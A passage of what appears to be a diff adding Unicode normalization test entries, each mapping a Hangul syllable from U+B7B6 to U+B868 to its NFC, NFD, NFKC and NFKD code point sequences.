+{ source: [0xB7B6], NFC: [0xB7B6], NFD: [0x1105, 0x1163, 0x11A9], NFKC: [0xB7B6], NFKD: [0x1105, 0x1163, 0x11A9] },
+{ source: [0xB7B7], NFC: [0xB7B7], NFD: [0x1105, 0x1163, 0x11AA], NFKC: [0xB7B7], NFKD: [0x1105, 0x1163, 0x11AA] },
+{ source: [0xB7B8], NFC: [0xB7B8], NFD: [0x1105, 0x1163, 0x11AB], NFKC: [0xB7B8], NFKD: [0x1105, 0x1163, 0x11AB] },
+{ source: [0xB7B9], NFC: [0xB7B9], NFD: [0x1105, 0x1163, 0x11AC], NFKC: [0xB7B9], NFKD: [0x1105, 0x1163, 0x11AC] },
+{ source: [0xB7BA], NFC: [0xB7BA], NFD: [0x1105, 0x1163, 0x11AD], NFKC: [0xB7BA], NFKD: [0x1105, 0x1163, 0x11AD] },
+{ source: [0xB7BB], NFC: [0xB7BB], NFD: [0x1105, 0x1163, 0x11AE], NFKC: [0xB7BB], NFKD: [0x1105, 0x1163, 0x11AE] },
+{ source: [0xB7BC], NFC: [0xB7BC], NFD: [0x1105, 0x1163, 0x11AF], NFKC: [0xB7BC], NFKD: [0x1105, 0x1163, 0x11AF] },
+{ source: [0xB7BD], NFC: [0xB7BD], NFD: [0x1105, 0x1163, 0x11B0], NFKC: [0xB7BD], NFKD: [0x1105, 0x1163, 0x11B0] },
+{ source: [0xB7BE], NFC: [0xB7BE], NFD: [0x1105, 0x1163, 0x11B1], NFKC: [0xB7BE], NFKD: [0x1105, 0x1163, 0x11B1] },
+{ source: [0xB7BF], NFC: [0xB7BF], NFD: [0x1105, 0x1163, 0x11B2], NFKC: [0xB7BF], NFKD: [0x1105, 0x1163, 0x11B2] },
+{ source: [0xB7C0], NFC: [0xB7C0], NFD: [0x1105, 0x1163, 0x11B3], NFKC: [0xB7C0], NFKD: [0x1105, 0x1163, 0x11B3] },
+{ source: [0xB7C1], NFC: [0xB7C1], NFD: [0x1105, 0x1163, 0x11B4], NFKC: [0xB7C1], NFKD: [0x1105, 0x1163, 0x11B4] },
+{ source: [0xB7C2], NFC: [0xB7C2], NFD: [0x1105, 0x1163, 0x11B5], NFKC: [0xB7C2], NFKD: [0x1105, 0x1163, 0x11B5] },
+{ source: [0xB7C3], NFC: [0xB7C3], NFD: [0x1105, 0x1163, 0x11B6], NFKC: [0xB7C3], NFKD: [0x1105, 0x1163, 0x11B6] },
+{ source: [0xB7C4], NFC: [0xB7C4], NFD: [0x1105, 0x1163, 0x11B7], NFKC: [0xB7C4], NFKD: [0x1105, 0x1163, 0x11B7] },
+{ source: [0xB7C5], NFC: [0xB7C5], NFD: [0x1105, 0x1163, 0x11B8], NFKC: [0xB7C5], NFKD: [0x1105, 0x1163, 0x11B8] },
+{ source: [0xB7C6], NFC: [0xB7C6], NFD: [0x1105, 0x1163, 0x11B9], NFKC: [0xB7C6], NFKD: [0x1105, 0x1163, 0x11B9] },
+{ source: [0xB7C7], NFC: [0xB7C7], NFD: [0x1105, 0x1163, 0x11BA], NFKC: [0xB7C7], NFKD: [0x1105, 0x1163, 0x11BA] },
+{ source: [0xB7C8], NFC: [0xB7C8], NFD: [0x1105, 0x1163, 0x11BB], NFKC: [0xB7C8], NFKD: [0x1105, 0x1163, 0x11BB] },
+{ source: [0xB7C9], NFC: [0xB7C9], NFD: [0x1105, 0x1163, 0x11BC], NFKC: [0xB7C9], NFKD: [0x1105, 0x1163, 0x11BC] },
+{ source: [0xB7CA], NFC: [0xB7CA], NFD: [0x1105, 0x1163, 0x11BD], NFKC: [0xB7CA], NFKD: [0x1105, 0x1163, 0x11BD] },
+{ source: [0xB7CB], NFC: [0xB7CB], NFD: [0x1105, 0x1163, 0x11BE], NFKC: [0xB7CB], NFKD: [0x1105, 0x1163, 0x11BE] },
+{ source: [0xB7CC], NFC: [0xB7CC], NFD: [0x1105, 0x1163, 0x11BF], NFKC: [0xB7CC], NFKD: [0x1105, 0x1163, 0x11BF] },
+{ source: [0xB7CD], NFC: [0xB7CD], NFD: [0x1105, 0x1163, 0x11C0], NFKC: [0xB7CD], NFKD: [0x1105, 0x1163, 0x11C0] },
+{ source: [0xB7CE], NFC: [0xB7CE], NFD: [0x1105, 0x1163, 0x11C1], NFKC: [0xB7CE], NFKD: [0x1105, 0x1163, 0x11C1] },
+{ source: [0xB7CF], NFC: [0xB7CF], NFD: [0x1105, 0x1163, 0x11C2], NFKC: [0xB7CF], NFKD: [0x1105, 0x1163, 0x11C2] },
+{ source: [0xB7D0], NFC: [0xB7D0], NFD: [0x1105, 0x1164], NFKC: [0xB7D0], NFKD: [0x1105, 0x1164] },
+{ source: [0xB7D1], NFC: [0xB7D1], NFD: [0x1105, 0x1164, 0x11A8], NFKC: [0xB7D1], NFKD: [0x1105, 0x1164, 0x11A8] },
+{ source: [0xB7D2], NFC: [0xB7D2], NFD: [0x1105, 0x1164, 0x11A9], NFKC: [0xB7D2], NFKD: [0x1105, 0x1164, 0x11A9] },
+{ source: [0xB7D3], NFC: [0xB7D3], NFD: [0x1105, 0x1164, 0x11AA], NFKC: [0xB7D3], NFKD: [0x1105, 0x1164, 0x11AA] },
+{ source: [0xB7D4], NFC: [0xB7D4], NFD: [0x1105, 0x1164, 0x11AB], NFKC: [0xB7D4], NFKD: [0x1105, 0x1164, 0x11AB] },
+{ source: [0xB7D5], NFC: [0xB7D5], NFD: [0x1105, 0x1164, 0x11AC], NFKC: [0xB7D5], NFKD: [0x1105, 0x1164, 0x11AC] },
+{ source: [0xB7D6], NFC: [0xB7D6], NFD: [0x1105, 0x1164, 0x11AD], NFKC: [0xB7D6], NFKD: [0x1105, 0x1164, 0x11AD] },
+{ source: [0xB7D7], NFC: [0xB7D7], NFD: [0x1105, 0x1164, 0x11AE], NFKC: [0xB7D7], NFKD: [0x1105, 0x1164, 0x11AE] },
+{ source: [0xB7D8], NFC: [0xB7D8], NFD: [0x1105, 0x1164, 0x11AF], NFKC: [0xB7D8], NFKD: [0x1105, 0x1164, 0x11AF] },
+{ source: [0xB7D9], NFC: [0xB7D9], NFD: [0x1105, 0x1164, 0x11B0], NFKC: [0xB7D9], NFKD: [0x1105, 0x1164, 0x11B0] },
+{ source: [0xB7DA], NFC: [0xB7DA], NFD: [0x1105, 0x1164, 0x11B1], NFKC: [0xB7DA], NFKD: [0x1105, 0x1164, 0x11B1] },
+{ source: [0xB7DB], NFC: [0xB7DB], NFD: [0x1105, 0x1164, 0x11B2], NFKC: [0xB7DB], NFKD: [0x1105, 0x1164, 0x11B2] },
+{ source: [0xB7DC], NFC: [0xB7DC], NFD: [0x1105, 0x1164, 0x11B3], NFKC: [0xB7DC], NFKD: [0x1105, 0x1164, 0x11B3] },
+{ source: [0xB7DD], NFC: [0xB7DD], NFD: [0x1105, 0x1164, 0x11B4], NFKC: [0xB7DD], NFKD: [0x1105, 0x1164, 0x11B4] },
+{ source: [0xB7DE], NFC: [0xB7DE], NFD: [0x1105, 0x1164, 0x11B5], NFKC: [0xB7DE], NFKD: [0x1105, 0x1164, 0x11B5] },
+{ source: [0xB7DF], NFC: [0xB7DF], NFD: [0x1105, 0x1164, 0x11B6], NFKC: [0xB7DF], NFKD: [0x1105, 0x1164, 0x11B6] },
+{ source: [0xB7E0], NFC: [0xB7E0], NFD: [0x1105, 0x1164, 0x11B7], NFKC: [0xB7E0], NFKD: [0x1105, 0x1164, 0x11B7] },
+{ source: [0xB7E1], NFC: [0xB7E1], NFD: [0x1105, 0x1164, 0x11B8], NFKC: [0xB7E1], NFKD: [0x1105, 0x1164, 0x11B8] },
+{ source: [0xB7E2], NFC: [0xB7E2], NFD: [0x1105, 0x1164, 0x11B9], NFKC: [0xB7E2], NFKD: [0x1105, 0x1164, 0x11B9] },
+{ source: [0xB7E3], NFC: [0xB7E3], NFD: [0x1105, 0x1164, 0x11BA], NFKC: [0xB7E3], NFKD: [0x1105, 0x1164, 0x11BA] },
+{ source: [0xB7E4], NFC: [0xB7E4], NFD: [0x1105, 0x1164, 0x11BB], NFKC: [0xB7E4], NFKD: [0x1105, 0x1164, 0x11BB] },
+{ source: [0xB7E5], NFC: [0xB7E5], NFD: [0x1105, 0x1164, 0x11BC], NFKC: [0xB7E5], NFKD: [0x1105, 0x1164, 0x11BC] },
+{ source: [0xB7E6], NFC: [0xB7E6], NFD: [0x1105, 0x1164, 0x11BD], NFKC: [0xB7E6], NFKD: [0x1105, 0x1164, 0x11BD] },
+{ source: [0xB7E7], NFC: [0xB7E7], NFD: [0x1105, 0x1164, 0x11BE], NFKC: [0xB7E7], NFKD: [0x1105, 0x1164, 0x11BE] },
+{ source: [0xB7E8], NFC: [0xB7E8], NFD: [0x1105, 0x1164, 0x11BF], NFKC: [0xB7E8], NFKD: [0x1105, 0x1164, 0x11BF] },
+{ source: [0xB7E9], NFC: [0xB7E9], NFD: [0x1105, 0x1164, 0x11C0], NFKC: [0xB7E9], NFKD: [0x1105, 0x1164, 0x11C0] },
+{ source: [0xB7EA], NFC: [0xB7EA], NFD: [0x1105, 0x1164, 0x11C1], NFKC: [0xB7EA], NFKD: [0x1105, 0x1164, 0x11C1] },
+{ source: [0xB7EB], NFC: [0xB7EB], NFD: [0x1105, 0x1164, 0x11C2], NFKC: [0xB7EB], NFKD: [0x1105, 0x1164, 0x11C2] },
+{ source: [0xB7EC], NFC: [0xB7EC], NFD: [0x1105, 0x1165], NFKC: [0xB7EC], NFKD: [0x1105, 0x1165] },
+{ source: [0xB7ED], NFC: [0xB7ED], NFD: [0x1105, 0x1165, 0x11A8], NFKC: [0xB7ED], NFKD: [0x1105, 0x1165, 0x11A8] },
+{ source: [0xB7EE], NFC: [0xB7EE], NFD: [0x1105, 0x1165, 0x11A9], NFKC: [0xB7EE], NFKD: [0x1105, 0x1165, 0x11A9] },
+{ source: [0xB7EF], NFC: [0xB7EF], NFD: [0x1105, 0x1165, 0x11AA], NFKC: [0xB7EF], NFKD: [0x1105, 0x1165, 0x11AA] },
+{ source: [0xB7F0], NFC: [0xB7F0], NFD: [0x1105, 0x1165, 0x11AB], NFKC: [0xB7F0], NFKD: [0x1105, 0x1165, 0x11AB] },
+{ source: [0xB7F1], NFC: [0xB7F1], NFD: [0x1105, 0x1165, 0x11AC], NFKC: [0xB7F1], NFKD: [0x1105, 0x1165, 0x11AC] },
+{ source: [0xB7F2], NFC: [0xB7F2], NFD: [0x1105, 0x1165, 0x11AD], NFKC: [0xB7F2], NFKD: [0x1105, 0x1165, 0x11AD] },
+{ source: [0xB7F3], NFC: [0xB7F3], NFD: [0x1105, 0x1165, 0x11AE], NFKC: [0xB7F3], NFKD: [0x1105, 0x1165, 0x11AE] },
+{ source: [0xB7F4], NFC: [0xB7F4], NFD: [0x1105, 0x1165, 0x11AF], NFKC: [0xB7F4], NFKD: [0x1105, 0x1165, 0x11AF] },
+{ source: [0xB7F5], NFC: [0xB7F5], NFD: [0x1105, 0x1165, 0x11B0], NFKC: [0xB7F5], NFKD: [0x1105, 0x1165, 0x11B0] },
+{ source: [0xB7F6], NFC: [0xB7F6], NFD: [0x1105, 0x1165, 0x11B1], NFKC: [0xB7F6], NFKD: [0x1105, 0x1165, 0x11B1] },
+{ source: [0xB7F7], NFC: [0xB7F7], NFD: [0x1105, 0x1165, 0x11B2], NFKC: [0xB7F7], NFKD: [0x1105, 0x1165, 0x11B2] },
+{ source: [0xB7F8], NFC: [0xB7F8], NFD: [0x1105, 0x1165, 0x11B3], NFKC: [0xB7F8], NFKD: [0x1105, 0x1165, 0x11B3] },
+{ source: [0xB7F9], NFC: [0xB7F9], NFD: [0x1105, 0x1165, 0x11B4], NFKC: [0xB7F9], NFKD: [0x1105, 0x1165, 0x11B4] },
+{ source: [0xB7FA], NFC: [0xB7FA], NFD: [0x1105, 0x1165, 0x11B5], NFKC: [0xB7FA], NFKD: [0x1105, 0x1165, 0x11B5] },
+{ source: [0xB7FB], NFC: [0xB7FB], NFD: [0x1105, 0x1165, 0x11B6], NFKC: [0xB7FB], NFKD: [0x1105, 0x1165, 0x11B6] },
+{ source: [0xB7FC], NFC: [0xB7FC], NFD: [0x1105, 0x1165, 0x11B7], NFKC: [0xB7FC], NFKD: [0x1105, 0x1165, 0x11B7] },
+{ source: [0xB7FD], NFC: [0xB7FD], NFD: [0x1105, 0x1165, 0x11B8], NFKC: [0xB7FD], NFKD: [0x1105, 0x1165, 0x11B8] },
+{ source: [0xB7FE], NFC: [0xB7FE], NFD: [0x1105, 0x1165, 0x11B9], NFKC: [0xB7FE], NFKD: [0x1105, 0x1165, 0x11B9] },
+{ source: [0xB7FF], NFC: [0xB7FF], NFD: [0x1105, 0x1165, 0x11BA], NFKC: [0xB7FF], NFKD: [0x1105, 0x1165, 0x11BA] },
+{ source: [0xB800], NFC: [0xB800], NFD: [0x1105, 0x1165, 0x11BB], NFKC: [0xB800], NFKD: [0x1105, 0x1165, 0x11BB] },
+{ source: [0xB801], NFC: [0xB801], NFD: [0x1105, 0x1165, 0x11BC], NFKC: [0xB801], NFKD: [0x1105, 0x1165, 0x11BC] },
+{ source: [0xB802], NFC: [0xB802], NFD: [0x1105, 0x1165, 0x11BD], NFKC: [0xB802], NFKD: [0x1105, 0x1165, 0x11BD] },
+{ source: [0xB803], NFC: [0xB803], NFD: [0x1105, 0x1165, 0x11BE], NFKC: [0xB803], NFKD: [0x1105, 0x1165, 0x11BE] },
+{ source: [0xB804], NFC: [0xB804], NFD: [0x1105, 0x1165, 0x11BF], NFKC: [0xB804], NFKD: [0x1105, 0x1165, 0x11BF] },
+{ source: [0xB805], NFC: [0xB805], NFD: [0x1105, 0x1165, 0x11C0], NFKC: [0xB805], NFKD: [0x1105, 0x1165, 0x11C0] },
+{ source: [0xB806], NFC: [0xB806], NFD: [0x1105, 0x1165, 0x11C1], NFKC: [0xB806], NFKD: [0x1105, 0x1165, 0x11C1] },
+{ source: [0xB807], NFC: [0xB807], NFD: [0x1105, 0x1165, 0x11C2], NFKC: [0xB807], NFKD: [0x1105, 0x1165, 0x11C2] },
+{ source: [0xB808], NFC: [0xB808], NFD: [0x1105, 0x1166], NFKC: [0xB808], NFKD: [0x1105, 0x1166] },
+{ source: [0xB809], NFC: [0xB809], NFD: [0x1105, 0x1166, 0x11A8], NFKC: [0xB809], NFKD: [0x1105, 0x1166, 0x11A8] },
+{ source: [0xB80A], NFC: [0xB80A], NFD: [0x1105, 0x1166, 0x11A9], NFKC: [0xB80A], NFKD: [0x1105, 0x1166, 0x11A9] },
+{ source: [0xB80B], NFC: [0xB80B], NFD: [0x1105, 0x1166, 0x11AA], NFKC: [0xB80B], NFKD: [0x1105, 0x1166, 0x11AA] },
+{ source: [0xB80C], NFC: [0xB80C], NFD: [0x1105, 0x1166, 0x11AB], NFKC: [0xB80C], NFKD: [0x1105, 0x1166, 0x11AB] },
+{ source: [0xB80D], NFC: [0xB80D], NFD: [0x1105, 0x1166, 0x11AC], NFKC: [0xB80D], NFKD: [0x1105, 0x1166, 0x11AC] },
+{ source: [0xB80E], NFC: [0xB80E], NFD: [0x1105, 0x1166, 0x11AD], NFKC: [0xB80E], NFKD: [0x1105, 0x1166, 0x11AD] },
+{ source: [0xB80F], NFC: [0xB80F], NFD: [0x1105, 0x1166, 0x11AE], NFKC: [0xB80F], NFKD: [0x1105, 0x1166, 0x11AE] },
+{ source: [0xB810], NFC: [0xB810], NFD: [0x1105, 0x1166, 0x11AF], NFKC: [0xB810], NFKD: [0x1105, 0x1166, 0x11AF] },
+{ source: [0xB811], NFC: [0xB811], NFD: [0x1105, 0x1166, 0x11B0], NFKC: [0xB811], NFKD: [0x1105, 0x1166, 0x11B0] },
+{ source: [0xB812], NFC: [0xB812], NFD: [0x1105, 0x1166, 0x11B1], NFKC: [0xB812], NFKD: [0x1105, 0x1166, 0x11B1] },
+{ source: [0xB813], NFC: [0xB813], NFD: [0x1105, 0x1166, 0x11B2], NFKC: [0xB813], NFKD: [0x1105, 0x1166, 0x11B2] },
+{ source: [0xB814], NFC: [0xB814], NFD: [0x1105, 0x1166, 0x11B3], NFKC: [0xB814], NFKD: [0x1105, 0x1166, 0x11B3] },
+{ source: [0xB815], NFC: [0xB815], NFD: [0x1105, 0x1166, 0x11B4], NFKC: [0xB815], NFKD: [0x1105, 0x1166, 0x11B4] },
+{ source: [0xB816], NFC: [0xB816], NFD: [0x1105, 0x1166, 0x11B5], NFKC: [0xB816], NFKD: [0x1105, 0x1166, 0x11B5] },
+{ source: [0xB817], NFC: [0xB817], NFD: [0x1105, 0x1166, 0x11B6], NFKC: [0xB817], NFKD: [0x1105, 0x1166, 0x11B6] },
+{ source: [0xB818], NFC: [0xB818], NFD: [0x1105, 0x1166, 0x11B7], NFKC: [0xB818], NFKD: [0x1105, 0x1166, 0x11B7] },
+{ source: [0xB819], NFC: [0xB819], NFD: [0x1105, 0x1166, 0x11B8], NFKC: [0xB819], NFKD: [0x1105, 0x1166, 0x11B8] },
+{ source: [0xB81A], NFC: [0xB81A], NFD: [0x1105, 0x1166, 0x11B9], NFKC: [0xB81A], NFKD: [0x1105, 0x1166, 0x11B9] },
+{ source: [0xB81B], NFC: [0xB81B], NFD: [0x1105, 0x1166, 0x11BA], NFKC: [0xB81B], NFKD: [0x1105, 0x1166, 0x11BA] },
+{ source: [0xB81C], NFC: [0xB81C], NFD: [0x1105, 0x1166, 0x11BB], NFKC: [0xB81C], NFKD: [0x1105, 0x1166, 0x11BB] },
+{ source: [0xB81D], NFC: [0xB81D], NFD: [0x1105, 0x1166, 0x11BC], NFKC: [0xB81D], NFKD: [0x1105, 0x1166, 0x11BC] },
+{ source: [0xB81E], NFC: [0xB81E], NFD: [0x1105, 0x1166, 0x11BD], NFKC: [0xB81E], NFKD: [0x1105, 0x1166, 0x11BD] },
+{ source: [0xB81F], NFC: [0xB81F], NFD: [0x1105, 0x1166, 0x11BE], NFKC: [0xB81F], NFKD: [0x1105, 0x1166, 0x11BE] },
+{ source: [0xB820], NFC: [0xB820], NFD: [0x1105, 0x1166, 0x11BF], NFKC: [0xB820], NFKD: [0x1105, 0x1166, 0x11BF] },
+{ source: [0xB821], NFC: [0xB821], NFD: [0x1105, 0x1166, 0x11C0], NFKC: [0xB821], NFKD: [0x1105, 0x1166, 0x11C0] },
+{ source: [0xB822], NFC: [0xB822], NFD: [0x1105, 0x1166, 0x11C1], NFKC: [0xB822], NFKD: [0x1105, 0x1166, 0x11C1] },
+{ source: [0xB823], NFC: [0xB823], NFD: [0x1105, 0x1166, 0x11C2], NFKC: [0xB823], NFKD: [0x1105, 0x1166, 0x11C2] },
+{ source: [0xB824], NFC: [0xB824], NFD: [0x1105, 0x1167], NFKC: [0xB824], NFKD: [0x1105, 0x1167] },
+{ source: [0xB825], NFC: [0xB825], NFD: [0x1105, 0x1167, 0x11A8], NFKC: [0xB825], NFKD: [0x1105, 0x1167, 0x11A8] },
+{ source: [0xB826], NFC: [0xB826], NFD: [0x1105, 0x1167, 0x11A9], NFKC: [0xB826], NFKD: [0x1105, 0x1167, 0x11A9] },
+{ source: [0xB827], NFC: [0xB827], NFD: [0x1105, 0x1167, 0x11AA], NFKC: [0xB827], NFKD: [0x1105, 0x1167, 0x11AA] },
+{ source: [0xB828], NFC: [0xB828], NFD: [0x1105, 0x1167, 0x11AB], NFKC: [0xB828], NFKD: [0x1105, 0x1167, 0x11AB] },
+{ source: [0xB829], NFC: [0xB829], NFD: [0x1105, 0x1167, 0x11AC], NFKC: [0xB829], NFKD: [0x1105, 0x1167, 0x11AC] },
+{ source: [0xB82A], NFC: [0xB82A], NFD: [0x1105, 0x1167, 0x11AD], NFKC: [0xB82A], NFKD: [0x1105, 0x1167, 0x11AD] },
+{ source: [0xB82B], NFC: [0xB82B], NFD: [0x1105, 0x1167, 0x11AE], NFKC: [0xB82B], NFKD: [0x1105, 0x1167, 0x11AE] },
+{ source: [0xB82C], NFC: [0xB82C], NFD: [0x1105, 0x1167, 0x11AF], NFKC: [0xB82C], NFKD: [0x1105, 0x1167, 0x11AF] },
+{ source: [0xB82D], NFC: [0xB82D], NFD: [0x1105, 0x1167, 0x11B0], NFKC: [0xB82D], NFKD: [0x1105, 0x1167, 0x11B0] },
+{ source: [0xB82E], NFC: [0xB82E], NFD: [0x1105, 0x1167, 0x11B1], NFKC: [0xB82E], NFKD: [0x1105, 0x1167, 0x11B1] },
+{ source: [0xB82F], NFC: [0xB82F], NFD: [0x1105, 0x1167, 0x11B2], NFKC: [0xB82F], NFKD: [0x1105, 0x1167, 0x11B2] },
+{ source: [0xB830], NFC: [0xB830], NFD: [0x1105, 0x1167, 0x11B3], NFKC: [0xB830], NFKD: [0x1105, 0x1167, 0x11B3] },
+{ source: [0xB831], NFC: [0xB831], NFD: [0x1105, 0x1167, 0x11B4], NFKC: [0xB831], NFKD: [0x1105, 0x1167, 0x11B4] },
+{ source: [0xB832], NFC: [0xB832], NFD: [0x1105, 0x1167, 0x11B5], NFKC: [0xB832], NFKD: [0x1105, 0x1167, 0x11B5] },
+{ source: [0xB833], NFC: [0xB833], NFD: [0x1105, 0x1167, 0x11B6], NFKC: [0xB833], NFKD: [0x1105, 0x1167, 0x11B6] },
+{ source: [0xB834], NFC: [0xB834], NFD: [0x1105, 0x1167, 0x11B7], NFKC: [0xB834], NFKD: [0x1105, 0x1167, 0x11B7] },
+{ source: [0xB835], NFC: [0xB835], NFD: [0x1105, 0x1167, 0x11B8], NFKC: [0xB835], NFKD: [0x1105, 0x1167, 0x11B8] },
+{ source: [0xB836], NFC: [0xB836], NFD: [0x1105, 0x1167, 0x11B9], NFKC: [0xB836], NFKD: [0x1105, 0x1167, 0x11B9] },
+{ source: [0xB837], NFC: [0xB837], NFD: [0x1105, 0x1167, 0x11BA], NFKC: [0xB837], NFKD: [0x1105, 0x1167, 0x11BA] },
+{ source: [0xB838], NFC: [0xB838], NFD: [0x1105, 0x1167, 0x11BB], NFKC: [0xB838], NFKD: [0x1105, 0x1167, 0x11BB] },
+{ source: [0xB839], NFC: [0xB839], NFD: [0x1105, 0x1167, 0x11BC], NFKC: [0xB839], NFKD: [0x1105, 0x1167, 0x11BC] },
+{ source: [0xB83A], NFC: [0xB83A], NFD: [0x1105, 0x1167, 0x11BD], NFKC: [0xB83A], NFKD: [0x1105, 0x1167, 0x11BD] },
+{ source: [0xB83B], NFC: [0xB83B], NFD: [0x1105, 0x1167, 0x11BE], NFKC: [0xB83B], NFKD: [0x1105, 0x1167, 0x11BE] },
+{ source: [0xB83C], NFC: [0xB83C], NFD: [0x1105, 0x1167, 0x11BF], NFKC: [0xB83C], NFKD: [0x1105, 0x1167, 0x11BF] },
+{ source: [0xB83D], NFC: [0xB83D], NFD: [0x1105, 0x1167, 0x11C0], NFKC: [0xB83D], NFKD: [0x1105, 0x1167, 0x11C0] },
+{ source: [0xB83E], NFC: [0xB83E], NFD: [0x1105, 0x1167, 0x11C1], NFKC: [0xB83E], NFKD: [0x1105, 0x1167, 0x11C1] },
+{ source: [0xB83F], NFC: [0xB83F], NFD: [0x1105, 0x1167, 0x11C2], NFKC: [0xB83F], NFKD: [0x1105, 0x1167, 0x11C2] },
+{ source: [0xB840], NFC: [0xB840], NFD: [0x1105, 0x1168], NFKC: [0xB840], NFKD: [0x1105, 0x1168] },
+{ source: [0xB841], NFC: [0xB841], NFD: [0x1105, 0x1168, 0x11A8], NFKC: [0xB841], NFKD: [0x1105, 0x1168, 0x11A8] },
+{ source: [0xB842], NFC: [0xB842], NFD: [0x1105, 0x1168, 0x11A9], NFKC: [0xB842], NFKD: [0x1105, 0x1168, 0x11A9] },
+{ source: [0xB843], NFC: [0xB843], NFD: [0x1105, 0x1168, 0x11AA], NFKC: [0xB843], NFKD: [0x1105, 0x1168, 0x11AA] },
+{ source: [0xB844], NFC: [0xB844], NFD: [0x1105, 0x1168, 0x11AB], NFKC: [0xB844], NFKD: [0x1105, 0x1168, 0x11AB] },
+{ source: [0xB845], NFC: [0xB845], NFD: [0x1105, 0x1168, 0x11AC], NFKC: [0xB845], NFKD: [0x1105, 0x1168, 0x11AC] },
+{ source: [0xB846], NFC: [0xB846], NFD: [0x1105, 0x1168, 0x11AD], NFKC: [0xB846], NFKD: [0x1105, 0x1168, 0x11AD] },
+{ source: [0xB847], NFC: [0xB847], NFD: [0x1105, 0x1168, 0x11AE], NFKC: [0xB847], NFKD: [0x1105, 0x1168, 0x11AE] },
+{ source: [0xB848], NFC: [0xB848], NFD: [0x1105, 0x1168, 0x11AF], NFKC: [0xB848], NFKD: [0x1105, 0x1168, 0x11AF] },
+{ source: [0xB849], NFC: [0xB849], NFD: [0x1105, 0x1168, 0x11B0], NFKC: [0xB849], NFKD: [0x1105, 0x1168, 0x11B0] },
+{ source: [0xB84A], NFC: [0xB84A], NFD: [0x1105, 0x1168, 0x11B1], NFKC: [0xB84A], NFKD: [0x1105, 0x1168, 0x11B1] },
+{ source: [0xB84B], NFC: [0xB84B], NFD: [0x1105, 0x1168, 0x11B2], NFKC: [0xB84B], NFKD: [0x1105, 0x1168, 0x11B2] },
+{ source: [0xB84C], NFC: [0xB84C], NFD: [0x1105, 0x1168, 0x11B3], NFKC: [0xB84C], NFKD: [0x1105, 0x1168, 0x11B3] },
+{ source: [0xB84D], NFC: [0xB84D], NFD: [0x1105, 0x1168, 0x11B4], NFKC: [0xB84D], NFKD: [0x1105, 0x1168, 0x11B4] },
+{ source: [0xB84E], NFC: [0xB84E], NFD: [0x1105, 0x1168, 0x11B5], NFKC: [0xB84E], NFKD: [0x1105, 0x1168, 0x11B5] },
+{ source: [0xB84F], NFC: [0xB84F], NFD: [0x1105, 0x1168, 0x11B6], NFKC: [0xB84F], NFKD: [0x1105, 0x1168, 0x11B6] },
+{ source: [0xB850], NFC: [0xB850], NFD: [0x1105, 0x1168, 0x11B7], NFKC: [0xB850], NFKD: [0x1105, 0x1168, 0x11B7] },
+{ source: [0xB851], NFC: [0xB851], NFD: [0x1105, 0x1168, 0x11B8], NFKC: [0xB851], NFKD: [0x1105, 0x1168, 0x11B8] },
+{ source: [0xB852], NFC: [0xB852], NFD: [0x1105, 0x1168, 0x11B9], NFKC: [0xB852], NFKD: [0x1105, 0x1168, 0x11B9] },
+{ source: [0xB853], NFC: [0xB853], NFD: [0x1105, 0x1168, 0x11BA], NFKC: [0xB853], NFKD: [0x1105, 0x1168, 0x11BA] },
+{ source: [0xB854], NFC: [0xB854], NFD: [0x1105, 0x1168, 0x11BB], NFKC: [0xB854], NFKD: [0x1105, 0x1168, 0x11BB] },
+{ source: [0xB855], NFC: [0xB855], NFD: [0x1105, 0x1168, 0x11BC], NFKC: [0xB855], NFKD: [0x1105, 0x1168, 0x11BC] },
+{ source: [0xB856], NFC: [0xB856], NFD: [0x1105, 0x1168, 0x11BD], NFKC: [0xB856], NFKD: [0x1105, 0x1168, 0x11BD] },
+{ source: [0xB857], NFC: [0xB857], NFD: [0x1105, 0x1168, 0x11BE], NFKC: [0xB857], NFKD: [0x1105, 0x1168, 0x11BE] },
+{ source: [0xB858], NFC: [0xB858], NFD: [0x1105, 0x1168, 0x11BF], NFKC: [0xB858], NFKD: [0x1105, 0x1168, 0x11BF] },
+{ source: [0xB859], NFC: [0xB859], NFD: [0x1105, 0x1168, 0x11C0], NFKC: [0xB859], NFKD: [0x1105, 0x1168, 0x11C0] },
+{ source: [0xB85A], NFC: [0xB85A], NFD: [0x1105, 0x1168, 0x11C1], NFKC: [0xB85A], NFKD: [0x1105, 0x1168, 0x11C1] },
+{ source: [0xB85B], NFC: [0xB85B], NFD: [0x1105, 0x1168, 0x11C2], NFKC: [0xB85B], NFKD: [0x1105, 0x1168, 0x11C2] },
+{ source: [0xB85C], NFC: [0xB85C], NFD: [0x1105, 0x1169], NFKC: [0xB85C], NFKD: [0x1105, 0x1169] },
+{ source: [0xB85D], NFC: [0xB85D], NFD: [0x1105, 0x1169, 0x11A8], NFKC: [0xB85D], NFKD: [0x1105, 0x1169, 0x11A8] },
+{ source: [0xB85E], NFC: [0xB85E], NFD: [0x1105, 0x1169, 0x11A9], NFKC: [0xB85E], NFKD: [0x1105, 0x1169, 0x11A9] },
+{ source: [0xB85F], NFC: [0xB85F], NFD: [0x1105, 0x1169, 0x11AA], NFKC: [0xB85F], NFKD: [0x1105, 0x1169, 0x11AA] },
+{ source: [0xB860], NFC: [0xB860], NFD: [0x1105, 0x1169, 0x11AB], NFKC: [0xB860], NFKD: [0x1105, 0x1169, 0x11AB] },
+{ source: [0xB861], NFC: [0xB861], NFD: [0x1105, 0x1169, 0x11AC], NFKC: [0xB861], NFKD: [0x1105, 0x1169, 0x11AC] },
+{ source: [0xB862], NFC: [0xB862], NFD: [0x1105, 0x1169, 0x11AD], NFKC: [0xB862], NFKD: [0x1105, 0x1169, 0x11AD] },
+{ source: [0xB863], NFC: [0xB863], NFD: [0x1105, 0x1169, 0x11AE], NFKC: [0xB863], NFKD: [0x1105, 0x1169, 0x11AE] },
+{ source: [0xB864], NFC: [0xB864], NFD: [0x1105, 0x1169, 0x11AF], NFKC: [0xB864], NFKD: [0x1105, 0x1169, 0x11AF] },
+{ source: [0xB865], NFC: [0xB865], NFD: [0x1105, 0x1169, 0x11B0], NFKC: [0xB865], NFKD: [0x1105, 0x1169, 0x11B0] },
+{ source: [0xB866], NFC: [0xB866], NFD: [0x1105, 0x1169, 0x11B1], NFKC: [0xB866], NFKD: [0x1105, 0x1169, 0x11B1] },
+{ source: [0xB867], NFC: [0xB867], NFD: [0x1105, 0x1169, 0x11B2], NFKC: [0xB867], NFKD: [0x1105, 0x1169, 0x11B2] },
+{ source: [0xB868], NFC: [0xB868], NFD: [0x1105, 0x1169, 0x11B3], NFKC: [0xB868], NFKD: [0x1105, 0x1169, 0x11B3] },
